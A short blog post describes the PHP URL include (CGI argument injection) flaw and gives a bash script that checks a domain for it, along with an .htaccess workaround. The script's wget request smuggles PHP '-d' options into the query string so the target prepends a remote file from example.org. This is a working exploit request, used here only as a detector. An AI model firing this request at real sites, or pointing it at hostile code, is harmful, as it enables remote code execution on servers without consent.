Tomas' Labroratory

PHP URL include vulnerability detection and workaround

Some exploits never get old.  One such example is an exploit that takes advantage of PHP URL include vulnerability.   It's particularly nasty because it lets the attackers execute arbitrary PHP code without leaving any trace on the server it self.  The whole exploit executes in memory and vanishes once the attacker got what they were after.    With no back doors left behind, there are only two ways to find out.  You can either spot the suspicious entry in your log files, or you can run a script that checks whether your server is vulnerable to the attack in the first place.

#!/bin/bash
 
 if [ -z "$1" ]; then
 
         echo "Error, must specify domain name"
 
         exit 0
 
 fi
 
 #do not change example.org this is one of the rare cases, when it serves an actual function.
 
 wget -q -O test http://$1/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://example.org
 
 grep "This domain is established to be used for illustrative examples" test > /dev/null
 
 if [ $? -eq 0 ]; then
 
         echo
 
         echo "$1 is VULNERABLE add the following to .htaccess file and retry"
 
         echo
 
         echo "RewriteEngine on"
 
         echo "RewriteCond %{QUERY_STRING} ^[^=]*$"
 
         echo "RewriteCond %{QUERY_STRING} %2d|- [NC]"
 
         echo "RewriteRule .? – [F,L]"
 
         echo
 
 else
 
         echo
 
         echo "$1 is OK"
 
 fi

When you run this tool, you will see this if the web site you are scanning is vulnerable:

# ./test-url-include.sh vulnerablesite.com
 
 vulnerablesite.com is VULNERABLE add the following to .htaccess file and retry
 
 RewriteEngine on
 RewriteCond %{QUERY_STRING} ^[^=]*$
 RewriteCond %{QUERY_STRING} %2d|- [NC]
 RewriteRule .? – [F,L]

I should add that the proper way is to patch PHP to a version that doesn't have the vulnerability. The .htaccess fix works, but as you can imagine, it's a bandaid solution. If you have this vulnerability, chances are you also have many more like it.